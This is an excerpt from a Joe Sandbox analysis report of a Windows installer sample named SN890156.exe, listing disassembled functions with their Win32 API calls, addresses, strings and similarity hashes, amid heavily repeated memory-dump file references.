Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 6121e8ff7f107a9e0c5c71db51fa80124b77cb8196dbe3be819c2b517f5432bf
Instruction ID: 783455ef39ba97bad4d92773a6bd33e03ba47aaf13af7a3f43d32fd345691cd1
Opcode Fuzzy Hash: 6121e8ff7f107a9e0c5c71db51fa80124b77cb8196dbe3be819c2b517f5432bf
Instruction Fuzzy Hash: 52115971908118FEEF119F90DE8CEAE3B79FB14384F100476FA05A10A0D3B49E52AA69

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: a6c4620741817e8f81616531856afe1a52227ea32b8bd47818ca711991c1b42e
Instruction ID: fda10597d29eaa6b078217e10feb255e8dba845150ef54d65940bec6a2f4d034
Opcode Fuzzy Hash: a6c4620741817e8f81616531856afe1a52227ea32b8bd47818ca711991c1b42e
Instruction Fuzzy Hash: 3AF0C972A04104AFDB11DBA4EE88CEEBBBDEB48311B104566F602F61A1C675ED418B39

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040BDD0), ref: 00401DD1

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 787a0cc1cae73e127cbf34e01b63a76a3b17128f4cf73ed1ac2ca508eda492e0
Instruction ID: f0de02ddeea559f0acc09b7c654b6cc4e6647674a776793065cdf7257ef1e696
Opcode Fuzzy Hash: 787a0cc1cae73e127cbf34e01b63a76a3b17128f4cf73ed1ac2ca508eda492e0
Instruction Fuzzy Hash: FF01A231948244BFE701ABB0AE5EBDA7F74EB65305F004479F551B62E2C77810008B6E

Function 0040493A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00422708,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049DB
wsprintfW.USER32 ref: 004049E4
SetDlgItemTextW.USER32(?,00422708), ref: 004049F7

Strings

%u.%u%s%s, xrefs: 004049C5

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: d85f7ca716c1f5658b91c6656715b5566f7677be60d31edad64312fde4761ef2
Instruction ID: f455ebafcbecf6c6930287b8ee8bcbe2db44ea01d8d71c40407b913fda14730a
Opcode Fuzzy Hash: d85f7ca716c1f5658b91c6656715b5566f7677be60d31edad64312fde4761ef2
Instruction Fuzzy Hash: D611D87364412867DB10A6BD9C45EAF3288DB85374F250237FA26F61D2DA798C6182D8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 89185f19cab5c9d2123c9567e553a40f312bc8837cbfc1fecf3123f783c5ad12
Instruction ID: a67f43666b390050b7c93cc16dc22df3288c4645dfbd1c9967af83c22614668d
Opcode Fuzzy Hash: 89185f19cab5c9d2123c9567e553a40f312bc8837cbfc1fecf3123f783c5ad12
Instruction Fuzzy Hash: 7C21B071944209BEEF01AFB0CE4AABE7B75EB40304F10403EF601B61D1D6B89A409B69

Function 00402537 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A5C8,000000FF,luftfartsdirektorater,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(luftfartsdirektorater,?,?,0040A5C8,000000FF,luftfartsdirektorater,00000400,?,?,00000021), ref: 0040258E

Strings

luftfartsdirektorater, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: luftfartsdirektorater
API String ID: 3109718747-2706486649
Opcode ID: ef85e0fcd8d9714e2f0a36f8a5b0f66d9f577845c1bfd8f78138c45cce399932
Instruction ID: bfa6d714be92c4527cef4f8895cb5ef110114927b7979418da5827123998f54c
Opcode Fuzzy Hash: ef85e0fcd8d9714e2f0a36f8a5b0f66d9f577845c1bfd8f78138c45cce399932
Instruction Fuzzy Hash: AE110A72A41204BEDB10AFB58F4AE9E3669AF54394F20403BF402F61C2D6FC8E41466D

Function 00405EEC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,: Completed,?,0040615F,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F16
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040615F,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F37
RegCloseKey.ADVAPI32(?,?,0040615F,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F5A

Strings

: Completed, xrefs: 00405EEF

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: : Completed
API String ID: 3677997916-2954849223
Opcode ID: c3918b15ec2dd140c4f3d1bafefc28aadc87a0cff0ebfff7b8d124f540ee4f6a
Instruction ID: c601889377c76b9115debbe7433e53646a10130b96f6f591fa827391142cde11
Opcode Fuzzy Hash: c3918b15ec2dd140c4f3d1bafefc28aadc87a0cff0ebfff7b8d124f540ee4f6a
Instruction Fuzzy Hash: 26010C3255020AEADB218F65ED09E9B3BACEF44350B004026F919D6260D735D964DFA5

Function 004059D3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403257,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 004059D9
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403257,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 004059E3
lstrcatW.KERNEL32(?,00409014), ref: 004059F5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004059D3

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: d7e49c6a6175e7957920a8ebfa112e8ed7db4acdde4d4b40ed7b02ca79cf1c4c
Instruction ID: e27ca5b6c843e4ca6b7b7419ee0e736cc2f4fee1b15a20ddc9c218eb8b1253ea
Opcode Fuzzy Hash: d7e49c6a6175e7957920a8ebfa112e8ed7db4acdde4d4b40ed7b02ca79cf1c4c
Instruction Fuzzy Hash: 1DD0A761101930AAC212E7488C00DDF729CAE55345341003BF107B30B1C7781D5287FE

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040A5C8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040A5C8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040A5C8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 81cb5db720ac1786bf923254edd39833e20737a19d6dc8ca9b0d75a418962673
Instruction ID: 7111b63e716528206d7143fef0c5d48aa4ff5df43585b472b347a68cc626e816
Opcode Fuzzy Hash: 81cb5db720ac1786bf923254edd39833e20737a19d6dc8ca9b0d75a418962673
Instruction Fuzzy Hash: 5B11AE71E00108BFEB10EFA4DD89DAE76BCEB04358F10403AF904B21D1D6B85E419628

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,00403504,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,00403504,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 5b077e3499f9c07bbd95dc59ca3d471d91709291d8f5bd327ee9b7f2041f6974
Instruction ID: e23ac89653febb243e72dcf23735aaa2031a226b5032255065ec6e4c9dbb6a99
Opcode Fuzzy Hash: 5b077e3499f9c07bbd95dc59ca3d471d91709291d8f5bd327ee9b7f2041f6974
Instruction Fuzzy Hash: B3F0F431909220EBC6516B54FD4C9DB7F75FB4571270149B7F001B11E4D7B95C818BAD

Function 00405ADB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040601F: lstrcpynW.KERNEL32(00409300,00409300,00000400,0040331A,00428220,NSIS Error), ref: 0040602C

Part of subcall function 00405A7E: CharNextW.USER32(?,?,00424F10,00409300,00405AF2,00424F10,00424F10,75923420,?,C:\Users\user\AppData\Local\Temp\,00405830,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 00405A8C
Part of subcall function 00405A7E: CharNextW.USER32(00000000), ref: 00405A91
Part of subcall function 00405A7E: CharNextW.USER32(00000000), ref: 00405AA9

lstrlenW.KERNEL32(00424F10,00000000,00424F10,00424F10,75923420,?,C:\Users\user\AppData\Local\Temp\,00405830,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 00405B34
GetFileAttributesW.KERNEL32(00424F10,00424F10,00424F10,00424F10,00424F10,00424F10,00000000,00424F10,00424F10,75923420,?,C:\Users\user\AppData\Local\Temp\,00405830,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405B44

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405ADB

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-823278215
Opcode ID: 5cd88eb9c331bd035ef3732d22fdb38d6df270911e15b1e56a74679c362f2206
Instruction ID: a8deb24d6afa2735206f329f0351f59021ff10951cf48c606255c952c9ad3203
Opcode Fuzzy Hash: 5cd88eb9c331bd035ef3732d22fdb38d6df270911e15b1e56a74679c362f2206
Instruction Fuzzy Hash: CBF04921304E5215D622323A1C44AAF3554CFC1364705073BB861721E1CB3C9943DE7E

Function 004050F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405121
CallWindowProcW.USER32(?,?,?,?), ref: 00405172

Part of subcall function 0040412F: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404141

Strings

, xrefs: 00405102

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e363e72c763df8ca6100096d80b3df6051651a231830df88c35e98c850c37b72
Instruction ID: 7511a9737e1ae187a562f2e55163cfa394ea92b9daba136d2a61478abf79871a
Opcode Fuzzy Hash: e363e72c763df8ca6100096d80b3df6051651a231830df88c35e98c850c37b72
Instruction Fuzzy Hash: 41015E71A40709BBDF219F11DD84B6B3626E794754F144136FA017E1D1C3BA8C919E2D

Function 004037D3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,004037AB,004035C0,?), ref: 004037ED
GlobalFree.KERNEL32(?), ref: 004037F4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004037D3

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
